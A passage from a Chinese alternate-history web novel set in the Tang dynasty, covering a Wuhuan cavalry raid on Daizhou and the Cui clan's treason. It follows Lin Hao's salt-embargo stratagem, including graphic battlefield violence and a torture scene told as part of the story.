他发出的哀嚎已经不似人声,凄厉得让在场所有铁血汉子都忍不住别过了头。
终于,在一阵剧烈的呕吐和排泄后,一枚被胃酸腐蚀得斑斑驳驳的蜡丸,混合着秽物,滚落在了托盘里。
“猴子”的身体猛地一僵,随即彻底软了下去,再无声息。
一名亲兵强忍着恶心,将蜡丸冲洗干净,用一块白布托着,颤抖着呈到杜兴面前。
杜兴伸出手,却在即将触碰到蜡丸时,猛地停住了。
他不能看。
不良人用命换回来的东西,其机密等级,绝不是他一个代州都督有资格拆阅的。
烽火台失联,意味着北境防线可能已经洞开,这个时候,任何一丝的延误,都可能造成无法挽回的后果。
“封起来!用最高等级的三重火漆密封!这是送往长安的东西,我们谁都没资格看!”
他猛地转身,对着帐外发出一声力竭的嘶吼,“来人!信使!全军最快的信使!给老子滚进来!”
一名精锐信使冲入堂内,单膝跪地。
杜兴将用锦盒封好的蜡丸,郑重地交到他的手上。
“听着!这东西,比你我的命加起来都重要!从现在起,不准吃饭,不准睡觉!沿途所有驿站,给你换最好的马,跑死了就换!三天!老子只要你三天之内,把它送到长安,送到陛下手里!”
信使接过锦盒,重重叩首,转身如风一般冲了出去。
吩咐完一切,杜兴看着担架上已经没了气息的“猴子”,缓缓走过去,替他合上了那双至死都圆睁的眼睛。
“兄弟,走好。”
……
而在数百里之外,“风眼”要塞的废墟中。
那片被大火烧成了焦炭的土地,死寂一片。
突然,在一堆烧焦的尸体和木炭之下,一只同样被烧得焦黑的手臂,五指猛地抽搐了一下。
第133章:五千铁骑叩关,李二还在数钱
代州以北,官道旁的村庄燃起了大火。
黑色的烟柱扭曲着钻进天空,村子里全是牲畜的悲鸣和妇孺的哭喊。
一支纯黑色的骑兵,正用一种野蛮的姿态,碾过这片土地。
他们不为占领,只为毁灭。
弯刀划过村民的脖颈,燃烧的火把被随手扔进茅草屋顶。
抢来的粮食倒在地上,任由马蹄践踏;年轻的女子被拖上马背,还没等发出尖叫,就被另一名骑兵从背后一刀捅了个对穿。
这不是劫掠,是示威,是纯粹的虐杀。
“快!快去禀报都督!有敌袭!”
村里的里正刚吼出半句话,一支狼牙箭就贯穿了他的胸膛,把他死死钉在了自家的门板上。
乌桓骑兵们发出野兽般的呼喝,在血与火中狂欢。
……
代州都督府。
杜兴刚刚送走前往长安的信使,心里那块悬着的石头还没落地,斥候的警讯就如同雪片般飞了进来。
“报!大人,城北三十里外,张家村烽烟四起!”
“报!王家坞堡被攻破,全坞上下三百余口,无一生还!”
“报!……”
一条条血淋淋的消息,让整个大堂的气氛压抑到了极点。
杜兴身上的甲胄冰凉,可他的后背却已经湿透。
“流寇?他娘的哪股流寇有这种胆子和实力!”
他一拳砸在地图上,指节磕在坚硬的木头上,渗出血丝。
“传我将令!”杜兴拔出腰间的横刀,刀锋直指地图上烽烟燃起的区域,“命左营校尉张成,右营校尉李默,各带一千人马,分左右两翼前出侦查!务必给老子把这股敌人的底细摸清楚!”
“记住,只许侦查,不许交战!一有发现,立刻用响箭示警,火速回撤!”
“遵命!”
两名校尉领命而去,两千唐军骑兵的铁蹄很快便冲出了代州城门,卷起两道黄龙,向着北方的火光处疾驰而去。
杜兴站在大堂中央,手紧紧握着刀柄,等待着消息。
然而,他等来的不是响箭,而是噩梦。
仅仅两个时辰后。
“开门!快开门!紧急军情!”
凄厉的嘶喊声从城下传来。
一名浑身是血的骑兵,骑着一匹同样遍体鳞伤的战马,疯了般地冲到代州城下。
吊桥放下,那名骑兵冲进城门的瞬间,便一头从马背上栽了下来。
他正是右营校尉李默的亲兵。
被抬进都督府时,他已经只剩下一口气。
一条胳膊齐肩而断,身上插着三支黑色的羽箭,每一支都深可见骨。
“敌……敌人……”他一把抓住杜兴的衣甲,眼睛瞪得巨大,里面全是血丝和恐惧。
“不是流寇……是军队……黑压压的一片,全是骑兵……”
“李校尉……李校尉为了掩护我,带着弟兄们冲了上去……全完了……一千人……连一炷香都没撑到……”
说完这句,他的头猛地一歪,彻底没了声息。
杜兴只觉得天旋地转,他踉跄着后退一步,才勉强站稳。
那可是一千装备精良的唐军骑兵啊,连一炷香的时间都没撑到?
“张成呢?左营的张成呢!”
杜兴咆哮着,声音里带着一丝自己都没察觉到的颤抖。
话音未落,又一名守城门的军官连滚带爬地跑了进来,声音都在发颤。
“大……大人!城外……您快……快去看看吧!”
杜兴一把推开他,三步并作两步冲上城楼。
当他扶着城垛向外望去时,整个人如遭雷击。
城墙之下,乌桓的前锋大军已经抵达。
黑色的铁甲汇成一片望不到边的海洋,无数的狼头大旗在风中猎猎作响。
在军阵之前,一座由数百具唐军尸体堆成的小山,触目惊心。
左营校尉张成的头颅,被一杆长矛高高挑起,那双不甘的眼睛,正对着代州城的方向。
乌桓骑兵并没有立刻攻城,他们只是在城外列阵,然后分出无数小队,当着城墙上所有守军的面,继续焚烧周边的村庄,屠戮那些没来得及逃进城里的百姓。
惨叫声、哭嚎声隔着老远,清晰地传到每一个代州军民的耳朵里。
“畜生!”杜兴双目赤红,指甲深深地嵌进了城墙的砖缝里。
就在这时,乌桓军阵中,狼皮首领邑落策马而出。
他身后跟着几名亲卫,将几十个被捆绑的唐军俘虏推到阵前,然后当着城上所有人的面,拔出弯刀,一个接一个地砍下他们的头颅。
鲜血染红了护城河前的土地。
邑落抹了一把脸上的血,抬头冲着城墙上的杜兴,用生硬蹩脚的汉话,发出了极尽羞辱的狂笑。
“代州的唐狗!听着!”
“你们的皇帝,就是个缩头乌龟!你们的军队,都是软脚虾!”
“打开城门,跪地投降!爷爷我,还能留你们一个全尸!”
城墙上,无数年轻的士兵气得浑身发抖,纷纷张弓搭箭。
“不许放箭!”杜兴嘶吼着压下部众的冲动。
他很清楚,这点距离,寻常弓箭根本够不着,只会白白激怒敌人。
城内,恐慌如同瘟疫一般开始蔓延。
百姓的哭喊和士兵们的咒骂混杂在一起,让这座孤城的士气,跌落到了冰点。
“关闭所有城门!全城戒严!征召所有青壮年上城协防!”
杜兴当机立断,抓住一名亲兵命令道,“另外,再派信使!从南门走!去忻州!去太原府!告诉他们,代州危在旦夕!北境……北境完了!”
……
千里之外,长安,太极殿。
殿内温暖如春,熏香袅袅。
李世民龙心大悦,正与房玄龄、杜如晦等一众心腹大臣,商议着如何处置从崔氏坞堡抄没出来的巨额财富。
“崔家百年积累,果然惊人啊。”
李世民抚着胡须,脸上是抑制不住的笑意,“有了这笔钱,朕的内帑又能充盈不少,国库的压力也能大大缓解。”
房玄龄出列道:“陛下,崔氏余孽虽除,但其盘根错节,不可不防。臣以为,当派得力干员,彻查河北道所有与崔氏有染的官员、豪族,以儆效尤。”
杜如晦也点头附和:“房相言之有理。此次林浩功不可没,当重赏。北境安稳,正是我大唐休养生息,巩固内政之时。”
殿内一片祥和,君臣们谈笑风生,仿佛已经看到了世家被彻底压制,皇权空前巩固的美好未来。
他们谁也不知道,就在他们讨论着如何分配胜利果实时,一场足以动摇国本的滔天巨浪,已经从北境席卷而来。
……
“风眼”要塞,焦黑的废墟之中。
在一堆烧得不成样子的尸体和梁木底下,一只被熏得漆黑的手,猛地动了一下。
那只手五指蜷曲,用力地刨开压在身上的木炭和碎石。
紧接着,一个焦黑的人影,用尽了全身的力气,从那片死亡的灰烬中,一点一点地,挣扎着爬了出来。
是李君羡。
他浑身上下,找不到一块好皮,甲胄早已和皮肉烧结在了一起。
他大口地呼吸着,每一口都带着灼热的刺痛。
他抬起头,茫然地看着这片如同地狱般的废墟,看着那些曾经鲜活的弟兄,如今都化作了焦炭。
剧痛和悲伤让他几乎昏厥。
但他不能倒下,他必须活下去。
他不知道,“猴子”是否能够将那份用所有人的命换来的情报传递出去。
他必须活着把乌桓人的阴谋,把崔家的叛国罪行,公之于众。
李君羡用手肘支撑着,在滚烫的地面上,朝着一个方向,艰难地爬行。
每一次移动,烧焦的皮肉就和地面摩擦,发出“滋啦”的声响,带来一阵阵撕心裂肺的剧痛。
他什么都想不了,脑子里只剩下一个念头。
他记得,那个方向,有一处被他们用来储水的地下暗井。
第134章:李二:给朕杀,一个不留!
两天一夜。
从代州到长安,一千三百里路,跑死了五匹最好的河西快马。
当第六匹马口吐白沫,悲鸣着倒在距离长安城门还有十里地的官道上时,信使周全已经感觉不到双腿的存在。
他从马鞍上翻滚下来,摔在坚硬的黄土地上,顾不上满嘴的泥沙,挣扎着爬起来,用一种扭曲的姿势,向着那座巍峨的城池狂奔。
肺部像是被扯烂的风箱,每一下呼吸都带着血腥味。
他怀里揣着一个用油布和蜡封得死死的竹筒,那是代州都督杜兴用一个不良人性命换来的东西,也是整个北境最后的希望。
“十万火急!北境急报!滚开!”
他像一头发疯的野牛,撞开城门前排队的人群,嘶哑的吼声让守城的金吾卫下意识地举起了长戟。
“站住!”
周全没有停下,他一把扯开胸口的衣襟,露出那个被血和汗浸透的竹筒,竹筒上,朱红色的火漆封印着一个狰狞的狼头图样。
那是大唐最高等级的军情——狼烟急报!
守城门的校尉脸色剧变,他认得这个标记。
上一次动用这个等级的军情,还是突厥颉利可汗兵临渭水之盟的时候。
“快!清出一条路!让他过去!通知宫里,北境急报!”
……
太极宫,偏殿。
李世民的心情极好,殿内温暖的空气里都仿佛飘着金银的香甜气息。
“玄龄,克明,你们看看,这就是世家的底蕴啊。”
他将一本缴获的账册递给房玄龄和杜如晦,捻着胡须,笑意从眼角一直蔓延到嘴角。
“有了这笔钱,朕就可以把北衙禁军的甲胄全都换新,还能给将士们多发两个月的饷钱。”
林浩站在一旁,没有说话,只是静静地看着地图。
崔家的倒台只是一个开始,他很清楚,这张由世家编织了数百年的大网,绝不会因为断了一根线就彻底崩溃。
房玄龄躬身道:“陛下圣明。崔氏一倒,河北道人心思动,正是朝廷重塑秩序,推行新政的良机。”
杜如晦也附和:“臣附议。当务之急,是尽快将崔氏的产业收归国库,安抚地方,同时也要防备其余几家趁机作乱。”
君臣几人你一言我一语,气氛融洽,正在规划着一场大胜之后的美好蓝图。
就在这时,殿外传来一阵急促而沉重的脚步声。
一名金吾卫统领连通报都省了,直接冲进殿内,单膝跪地,声音里透着一股压抑不住的慌乱。
“陛下!北境狼烟急报!信使已在殿外!”
“什么?”
李世民脸上的笑容凝固了。
房玄龄和杜如晦交换了一个惊疑的眼神。
狼烟急报?
北境不是刚刚安稳下来吗?
林浩也从地图前转过身,眉头拧成了一个疙瘩。
“宣!”
李世民的声音沉了下来,殿内的温度仿佛都降了几分。
信使周全被两个金吾卫架着拖了进来。
他已经站不住了,整个人像是从水里捞出来的,浑身都在不受控制地颤抖。
可当他看到龙椅上的李世民时,却不知从哪里生出一股力气,猛地挣脱了金吾卫,扑倒在地。
“陛……下……”
他从怀里掏出那个竹筒,用尽最后的力气,高高举过头顶。
“代州……危……乌桓……”
话没说完,他头一歪,便彻底昏死过去。
一名内侍赶紧上前接过竹筒,呈给李世民。
李世民的指尖触碰到竹筒,还能感觉到上面残留的体温和湿气。
他看了一眼那朱红色的狼头火漆,没有犹豫,用指甲猛地划开。
蜡封被剥落,他从里面抽出一卷被卷得极细的帛书。
林浩、房玄龄、杜如晦三人不约而同地围了上来。
李世民缓缓展开帛书。
殿内落针可闻。
所有人都盯着那张小小的帛书,看着李世民的表情。
李世民的表情,先是疑惑,然后是震惊,再然后,是一种难以置信的荒谬。
最后,所有的表情都消失了,取而代之的,是一片铁青。
他持着帛书的手开始剧烈地颤抖,手背上青筋暴起。
“好……好一个崔家!”
他从牙缝里挤出几个字,声音低沉得可怕。
“好一个百年望族!”
“嘭!”
他猛地一拍龙椅的扶手,整个人霍然站起。
“叛国!!”
一声雷霆般的咆哮,震得整个大殿嗡嗡作响。
他手里的那卷帛书,被他狂怒之下,生生捏成了一团废纸,狠狠地砸在了地上。
房玄龄和杜如晦吓得一哆嗦,连忙跪倒在地。
“陛下息怒!”
林浩的反应最快,他没有下跪,而是上前一步,捡起了地上那团已经不成样子的帛书。
他小心翼翼地展开,上面的字迹已经有些模糊。
可当他看清上面的内容时,饶是他经历过无数大风大浪,也禁不住浑身一震。
“崔氏勾结乌桓,献北境布防图……乌桓邑落率五千精骑,已绕过雁门关,兵锋直指代州……”
短短几行字,每一个字都像是一记重锤,狠狠砸在林浩的心口。
他将帛书递给旁边的房玄龄和杜如晦。
两位宰相只看了一眼,便面如死灰,身体瘫软下去。
这已经不是谋反了。
这是引狼入室!是要掘大唐的根!
偏殿内,死一般的安静。
之前那股轻松喜悦的气氛,早已荡然无存,取而代-之的,是令人窒息的压抑和惊骇。
李世民胸口剧烈起伏,他那双眼睛里燃烧着熊熊的怒火,仿佛要将整个世界都焚烧殆尽。
他想起了不久前,他还在这里嘲笑崔家不过是冢中枯骨。
他想起了不久前,他还在这里畅想着如何利用崔家的财富来巩固他的江山。
现在看来,那一切都像是一个天大的笑话。
一个响亮的耳光,狠狠地抽在了他这位天可汗的脸上。
“林浩!”
李世民的咆哮声再次响起。
他大步走到林浩面前,一双充血的眼睛死死地盯着他。
“朕给你一道旨意!”
“从现在起,河北道、河东道,所有兵马,任你调遣!所有府库,任你取用!”
“朕不要捷报!不要俘虏!朕只要你,把那五千乌桓杂碎,还有崔家所有参与此事的人,给朕……碎尸万段!”
“一个不留!”
……
“风眼”要塞,废墟之下。
李君羡终于爬到了那处记忆中的地下暗井旁。
他用尽最后的力气掀开伪装的石板,将那张烧得焦黑的脸,整个埋进了冰凉的水里。
“咕嘟……咕嘟……”
他贪婪地喝着水,身体的每一寸皮肉都在发出抗议的哀嚎。
活下来了。
他靠在井壁上,剧烈地喘息着。
饥饿感如同潮水般涌来。
他抬起头,看到一条沙蛇从石缝里探出头,吐着信子。
下一刻,李君羡用手臂死死压住蛇头,另一只手抓住蛇身,张开嘴,用牙齿硬生生撕开了蛇皮,就着腥臭的蛇血,将蛇肉吞了下去。
他不知道“猴子”怎么样了。
他不知道长安知不知道这里发生的一切。
他只知道,他必须活着。
他要亲眼看着那群杂碎,付出代价。
他强撑着身体,爬到一处被烧毁的箭楼残骸后,透过缝隙,望向远处乌桓人临时搭建的营地。
他要等一个机会。
第135章:惊爆朝堂!林浩的三道救国奇策
李世民的怒吼在偏殿里激起回音,每一个字都砸得人心头发颤。
那卷被他捏成一团的帛书,孤零零地躺在冰凉的金砖地面上。
房玄龄与杜如晦跪在地上,额头抵着地面,连大气都不敢喘。
他们跟随李世民多年,从未见过他如此失态。
林浩弯腰捡起那份用一个不良人的性命换来的情报,小心翼翼地重新将其抚平。
“陛下!”
兵部尚书李靖一身甲胄,大步流星地从殿外闯了进来。
他显然也收到了消息,那张素来沉稳的脸上,此刻满是寒霜。
“臣,李靖,请命出征!”他单膝跪地,甲胄发出“铿”的一声脆响。
“区区乌桓小丑,竟敢犯我大唐天威!臣请陛下允准,即刻调动河东、河北两道所有府兵,合围代州!臣愿立下军令状,一月之内,必将那五千乌桓杂碎,斩尽杀绝,一个不留!”
李靖的声音铿锵有力,掷地有声。
这是最稳妥,也是最正确的方略。以两道之力,集结十万大军,布下天罗地网,那五千骑兵插翅难飞。
李世民那双布满血丝的眼睛转向李靖,胸口剧烈地抽动了一下。
房玄龄像是抓住了救命稻草,立刻附和:“陛下,李尚书所言极是!当此危局,唯有雷霆一击,方能震慑宵小,安定北境人心!”
杜如晦也急忙开口:“五千精骑,绝非寻常流寇。大军合围,方是万全之策,不可迟疑!”
殿内的气氛,因为李靖的到来,稍稍有了一丝回转的余地。似乎那旌旗蔽日,将入侵者碾为齑粉的场面,已经近在眼前。
这是一个不会出错的决定。
“不行。”
两个字,从林浩口中吐出。声音不大,却让殿内所有人,包括盛怒中的李世民,都僵住了。
李靖愕然抬头,望向这个比自己孙子还年轻的年轻人。房玄龄与杜如晦也投来难以置信的视线。
“林浩,你什么意思?”李世民的声音沙哑得如同破锣,里面压着火山。
林浩没有理会旁人的目光,只是对着李世民,躬身一揖。
“陛下,李尚书的方略,是正道。但,太慢了。”
“太慢?”李靖的眉头拧成了一个疙瘩,“林大人,兵贵神速,老夫自然明白。可调集两道兵马,已经是朝廷最快的反应!”
“最快的反应,也要十天。”林浩展开了那张带血的帛书,举到众人面前,“乌桓骑兵的目标不是攻城,是屠戮,是制造恐慌!等我们的大军集结完毕,整个代州,甚至忻州,恐怕已经找不到活人了!”
“他们的马比我们的军令跑得快。陛下,我们不能用两条腿的步卒,去追四个蹄子的骑兵。等我们的大军围上去,他们早就跑得无影无踪,留给我们的,只会是一片焦土和无数百姓的尸骨!”
这番话,如同一盆冰水,浇熄了殿内刚刚燃起的一点热血。
是啊,那不是两军对垒,而是狼入羊群。等你把猎人都召集起来,羊早就被吃光了。
“那你待如何?”李世民死死盯着他,“朕给了你调兵之权,你现在却告诉朕,出兵不行?”
“兵,要出。但不是这么个出法。”
林浩抬起头,迎着所有人的注视,一字一顿。
“臣,不要一兵一卒的调兵权。”
此言一出,满殿皆惊。
所有人都以为自己听错了。不要兵权?那你去北境做什么?靠一张嘴把五千乌桓铁骑骂回去吗?
“陛下,臣请陛下,即刻下三道旨意!”林浩的声音不高,却透着一股不容置疑的决断。
“讲!”
“第一道旨意:命户部立刻行文河北、河东两道所有州府,即刻封存所有官营盐仓!同时,命两道衙门联合地方驻军,以雷霆之势,清查、打击境内所有私盐贩卖!一经查获,人、货、钱,尽数充公!”
房玄龄和杜如晦当场就懵了。
什么时候了?火烧眉毛了!你去管盐?这跟打仗有一文钱的关系吗?
李靖也是一脸的匪夷所思,他征战一生,就没听过这么离谱的战法。
李世民没有说话,只是看着他,示意他继续。
“第二道旨意:命工部下令,即刻起,征用河北、河东两道,尤其是代州、忻州、太原府三地,所有的信鸽!民间但凡有私藏信鸽用于通讯者,一律以通敌论处!”
这下,连李靖都忍不住了,他站起身,怒喝道:“林大人!盐和鸽子?这就是你的退敌之策?这简直是胡闹!北境的百姓还在等着我们去救命!”
“陛下!”林浩根本没有理会李靖,再次加重了语气,直视龙椅上的皇帝。
“第三道旨意:请陛下赦免一人。前朔方军左卫偏将,薛万彻!”
薛万彻?
殿中几位重臣都想起了这个名字。一员悍将,勇冠三军,却因治军不严,纵兵劫掠,被陛下亲自下令罢官,贬去了太原府大营的伙房,当一名烧火的伙头军。
在这个节骨眼上,提他做什么?
“林浩。”李世民终于开口了,他的声音听不出喜怒,“朕最后问你一次,你确定,靠着盐、鸽子,和一个被朕贬斥的火头军,就能解代州之围?”
“臣,确定。”林浩答得斩钉截铁。
“若是不成呢?”
“臣,与代州军民,共存亡。这颗项上人头,随时恭候陛下取用。”
整个偏殿死一般的安静。
所有人都看着这对君臣。一个疯了。另一个,似乎在考虑要不要陪他一起疯。
良久。
李世民突然放声大笑,笑声里带着一股豁出去的决绝和疯狂。
“好!好一个与代州军民共存亡!”
他猛地走回龙案前,亲自铺开三张空白圣旨,提起朱笔,几乎是戳着纸面,奋笔疾书。
“来人!用印!”
“?!?!?!”三道朱红的玉玺大印,重重地盖在了圣旨之上,震得笔架都跳了起来。
整个过程,不过一盏茶的功夫。
当三份还带着墨香的圣旨交到林浩手中时,房玄龄的嘴唇动了动,最终还是一句话也没说出来。他知道,拦不住了。这位皇帝的脾气,一旦上来,九头牛都拉不回来。
林浩接过圣旨,对着李世民深深一拜。
“陛下,静候佳音。”
说完,他转身就走,甲胄带起的风,吹得烛火一阵摇曳。
“薛万彻何在?”林浩走出大殿,对着一名金吾卫统领劈头就问。
“回大人,在太原府大营,伙房。”
“备一百亲兵,备最好的快马!一个时辰后,出发,去太原!”
……
代州城外,乌桓大营。
首领邑落正将一条烤得流油的羊腿撕下来,塞进嘴里大口咀嚼。
一名斥候匆匆奔入帐中。
“首领,城里咱们的‘眼睛’传话出来了。”
“说。”邑落头也不抬,满嘴是油。
“唐军主力正在河北道集结,看样子是要合围咱们。不过,他们的动作很慢,粮草辎重都还没跟上,最快也要十天才能到代州。”
“哈哈哈哈!”邑落将吃剩的骨头狠狠扔在地上,放声大笑,“我就知道!那帮穿着铁壳子的乌龟,除了人多,屁用没有!”
他站起身,走到帐篷门口,看着远处依旧冒着黑烟的村庄,脸上满是嗜血的笑意。
“传令下去!扩大劫掠范围!把代州城周围,给我烧成一片白地!我要让城里的唐狗看着自己的同胞一个个死掉,我要让他们在绝望里,跪下来求我!”
“在唐军主力到来之前,我们,有的是时间玩!”
……
两日后,太原府。
林浩带着一百亲兵,卷着一身风尘,直接冲进了太原府的府库。
被紧急赦免的薛万彻,这个身形魁梧如熊、满脸胡茬的汉子,还穿着一身伙夫的油腻衣服,正一脸茫然地跟在他身后。他到现在还没搞清楚,自己怎么就从一个烧火的,摇身一变成了钦差大人身边的人。
迎接他们的太原府长史和一众官员,本以为林浩会立刻调阅兵力部署图,商议如何出兵救援代州。
然而,林浩看都没看墙上那巨大的军事地图,径直走过了存放着兵册和图卷的区域。
他停在了一个布满灰尘的角落,那里堆放着一卷卷早已泛黄发霉的陈旧卷宗,散发着一股腐朽的气味。
“把这里,近三十年来,河北道所有盐商的名录、账本、运盐路线,全部给本官找出来!”
林浩的声音,让在场所有官员,包括薛万彻在内,全都愣在了原地。
太原府长史小心翼翼地上前一步:“林……林大人,代州危急,咱们是不是……先看看兵马?”
林浩回头扫了他一眼,那眼神不带任何温度。
“本官的话,你没听清吗?”
长史吓得一个哆嗦,连忙挥手:“听清了!听清了!快!都别愣着了,按林大人的吩咐办!快去找!”
府库里顿时人仰马翻,尘土飞扬。
薛万彻看着这个比自己年轻太多的钦差,挠了挠乱糟糟的头发,终于忍不住凑了上来,压低声音问:
“大人,咱们……不去看兵马,来这故纸堆里刨食……这是干啥呀?”
林浩没有回答,只是从一个书吏手中抢过一本厚厚的账册,吹开上面的灰尘,一页一页地快速翻阅着。
一个时辰,两个时辰……
整个府库的角落里,堆满了被翻出来的卷宗,几十个书吏和官员满头大汗地分类、查找,空气中全是灰尘和霉味。
就在薛万彻快要不耐烦的时候,林浩翻阅的动作,突然停了下来。
他从一堆标注着“贞观元年,河北道私盐案”的陈旧卷宗里,抽出了一张薄薄的供词。
他的手指,点在了供词末尾的一个名字上。
“薛将军,”林浩头也不抬,声音平静得可怕,“你常年驻守北境,认不认得一个叫‘沙蝎子’的盐贩头子?”
第136章:一招断盐计,薛万彻直呼内行!
“沙蝎子?”
薛万彻那魁梧的身体猛地一震,他后退了半步,一双铜铃大眼死死盯着林浩,那表情活像是见了鬼。
“大人怎么知道这个名字?那老小子是河北道最大的私盐耗子,比泥鳅还滑,官府围剿了他十几年,连根毛都没抓到过。”
旁边的太原府长史和一众官员听得云里雾里,彻底糊涂了。
这位从长安来的钦差大人,不问兵马,不问粮草,怎么对一个几十年前的私盐贩子这么上心?
这到底是要唱哪一出?
“我不认识他。”林浩将那张泛黄的供词丢到一边,目光扫过在场所有困惑的面孔,“但我认得钱,也认得盐。”
他走到薛万彻面前,声音压到只有两人能听见。
“薛将军,我问你,五千乌桓骑兵,连人带马,一天要啃掉多少盐?”
薛万彻愣住了,这个问题把他给问懵了。他是个只管带兵冲杀的将军,哪算过这种细账。
可他常年在边关,对战马的习性一清二楚。
“人几天不吃盐能扛,可战马不行。尤其是这么高强度的来回奔袭,五千匹战马……那盐的耗量,就是个无底洞。光靠抢几个村子,连塞牙缝都不够。”
“这就对了。”林浩的指节在落满灰尘的桌案上叩击着,发出轻响,“乌桓人不是来占地盘的,他们是来放火杀人,制造混乱的。但他们能绕过雁门关,背后一定有本地的豪族在接应。这些人,会给他们提供粮食、草料,还有最重要的——盐。”
薛万-彻的呼吸陡然一促。他那颗被酒精和郁闷麻痹了许久的大脑,此刻像是被注入了一剂猛药,飞速运转起来。
他猛地抬起头,声音都有些发颤:“所以,大人您封了官盐,又下令严打私盐……”
“就是要让代州附近,出现‘盐荒’。”林浩接过了他的话头,声音平淡却带着寒意,“官盐断绝,私盐贩子不敢冒头,盐价自然会飞上天。那些在背后捅刀子的豪族,为了稳住他们的乌桓‘盟友’,就必须铤而走险,从别的地方调集大量的盐。而我们,就在路上等着他们。”
薛万彻只觉得头皮一阵发麻。他看着眼前这个年轻人,那张清秀的脸上明明没有任何杀气,可这手段,却比直接挥刀砍人要阴狠百倍。
这根本不是在打仗,这是在用一把看不见的刀,往敌人的心窝子里捅!
与此同时,代州以南五十里,王家坞堡。
堡主王德庸在密室里急得团团转,汗水浸透了华贵的丝绸内衬。他对面,一个穿着管事服色的中年男人,正慢条斯理地品着茶。
“张管家,救命啊!您就行行好,再匀我们三百石盐吧!价钱您开!我用三倍的粮食换!”
被称作张管事的男人放下茶杯,脸上挂着虚假的笑容。
“王堡主,不是我不帮你。现在是什么光景?官府跟疯狗一样到处查私盐,风声紧得很。我能给你弄来这一百石,都是冒着掉脑袋的风险。”
王德庸都快哭了:“可北边那位爷催得急啊!他放话了,战马再吃不上盐,就要拿我们坞堡里的人当两脚羊了!”
张管事站起身,拍了拍王德庸的肩膀。
“顶不住,也得顶。你告诉北边那位,唐军主力正在集结,让他们别光顾着烧村子,也想想自己的后路。至于盐嘛……三天后,老地方,我再给你想办法。”
仅仅一天之后,林浩的策略便显现出了惊人的威力。
整个河北道北部,盐价一日三涨,到最后直接翻了十倍,还根本买不到货。几家与清河崔氏有着姻亲关系的豪族,彻底坐不住了,他们暗中调动大笔资金,派人四处高价求购食盐,那急切的模样,生怕别人看不出来他们有问题。
太原府大营。
薛万彻看着面前这一百名从他旧部里挑出来的精锐骑兵,一个个龙精虎猛,眼神里全是压不住的战意。
“大人,人齐了!您下令吧,打谁!”他已经憋不住了。
林浩将一份地图铺在桌上,上面用朱笔画出了几条从太原、忻州通往代州方向的隐秘山道。
“从现在起,你们不是唐军。”林浩的声音很平静,“你们是一群走投无路,占山为王的马匪。你们的任务,不是去打乌桓人,而是埋伏在这些路上,专门劫那些偷偷运送物资出城的车队。”
“记住,人可以放走,车和货,必须留下。尤其是运盐的。”
薛万彻咧开大嘴,露出一口白牙。这个活儿,他太喜欢了。
当天深夜,太原府以北的一处隐秘山谷。
薛万彻带着他的一百“马匪”,潜伏在道路两侧的密林中。
子时刚过,一阵车轮滚动的声音由远及近。一支由十几辆大车组成的车队,在数十名骑兵的护卫下,正小心翼翼地穿过山谷。
“就是他们了。”薛万彻压低了身子,右手猛地往下一挥。
一百道黑影从林中扑出,马蹄踏在腐叶上悄无声息,只有刀锋破开空气的轻啸。只一个照面,那些护卫骑兵就被砍得人仰马翻,队形瞬间崩溃。
战斗结束得很快,对方虽然训练有素,但根本没想到会在这里撞上铁板。
薛万彻一脚踹开一个被俘的护卫,用刀鞘挑开一辆大车上的油布。车上装的不是粮食,也不是布匹,而是一袋袋用料考究的精饲料,而在饲料下面,则是一块块码放得整整齐齐的青色盐砖。
“发财了,兄弟们!”薛万彻故意用粗野的腔调大喊,心里却跟明镜似的。
林浩全算对了!
他拎着一个被砍掉一条胳膊的军官,像拖死狗一样扔到面前。
“说,谁让你们运的?”
那军官倒也硬气,往地上啐了一口血沫,把头扭到一边。
薛万彻懒得废话,他从旁边篝火里抓起一块烧得发红的盐砖,没有半分犹豫,直接烙在那军官血肉模糊的断臂上。
焦糊的肉香混着凄厉的惨嚎在山谷里炸开,那汉子猛地弓起身子,像条离水的鱼一样在地上弹动。
“我说!我说!”他终于崩溃了,“是……是兵部……兵部侍郎,崔进大人!”
这个名字一出口,薛万彻的手都抖了一下,险些没抓住那名军官。
兵部侍郎!
他立刻意识到,这事情,捅破天了。
消息通过加急的军用信鸽,以最快的速度飞向长安。
太极宫内,李世民刚刚收到河北道盐价飞涨,数个豪族异动的密报,紧绷的脸色稍稍缓和了一些。他不得不承认,林浩那看似荒唐的法子,竟然真的挖出了毒蛇的尾巴。
就在这时,一只信鸽落在了殿外的飞奴手上。
当那张写着“崔进”二字的纸条呈到李世民面前时,他整个人都僵住了。
片刻的死寂之后,是一声震天的咆哮。
“砰!”
李世民一脚踹翻了面前的御案,奏折、笔墨、玉器摔了一地。
“崔进!好!好一个朕的兵部侍郎!”
房玄龄和杜如晦冲了进来,看到纸条上的名字,两人同时面色惨白,几乎当场瘫软下去。
内奸,竟然是兵部高官!这意味着,大唐所有的兵力调动、防务部署,在敌人面前,都形同虚设!
而此刻,远在太原府的林浩,收到了薛万彻的捷报。
他只是平静地看着地图上那个代表乌桓的黑色箭头,没有说一句话。
山谷中,那名招供的军官,在薛万彻转身的瞬间,身体猛地抽搐,嘴角涌出黑色的血液。
他最后的气力全部汇聚在手臂上,死死指向北方代州的方向,喉咙里咯咯作响,用尽生命挤出两个字:
“天……火……”
第137章:天火?老子一把火全给你点了!
山谷的风吹过,带着一股血腥和焦肉混合的恶心气味。
薛万彻松开手,那名军官的尸体软软地倒在地上,嘴角还挂着黑色的血迹,那双死不瞑目的眼睛直勾勾地指着北方的天空。
“天……火……”
薛万彻重复着这两个字,只觉得一股寒气从脚底板窜上天灵盖。
他是个粗人,不懂什么阴谋诡计,但他知道,能被一个赴死的士官用最后一口气喊出来的,绝对不是什么好东西。
“来人!把这几具尸首处理干净!”
薛万彻吼了一嗓子,然后翻身上马,“其余人,继续给老子守着!一只苍蝇都不许放过去!”
他自己则带着两名亲兵,调转马头,朝着太原府的方向狂奔而去。
这件事,必须立刻禀报林大人。
……
“风眼”要塞的废墟,早已被夜色彻底吞没。
李君羡像一具从坟墓里爬出来的僵尸,蜷缩在一堵断墙的阴影里。
他活下来了。
靠着生吃腐肉堆里翻出来的沙鼠,靠着喝地底暗井里满是泥腥味的积水。
浑身上下烧焦的皮肤结了黑色的痂,每一次呼吸,每一次移动,都牵动着无数伤口,带来钻心的疼痛。
但他活下来了。
支撑着他的,不是求生的本能,而是刻在骨子里的仇恨。
他闭上眼,就能看到弟兄们冲锋的身影,就能听到他们最后那声怒吼。
他不能死,他要替他们看着,看着那群杂碎是怎么覆灭的。
一阵轻微的脚步声和车轮滚动的声音,将他从半昏迷的状态中惊醒。
他透过墙体的破洞向外望去。
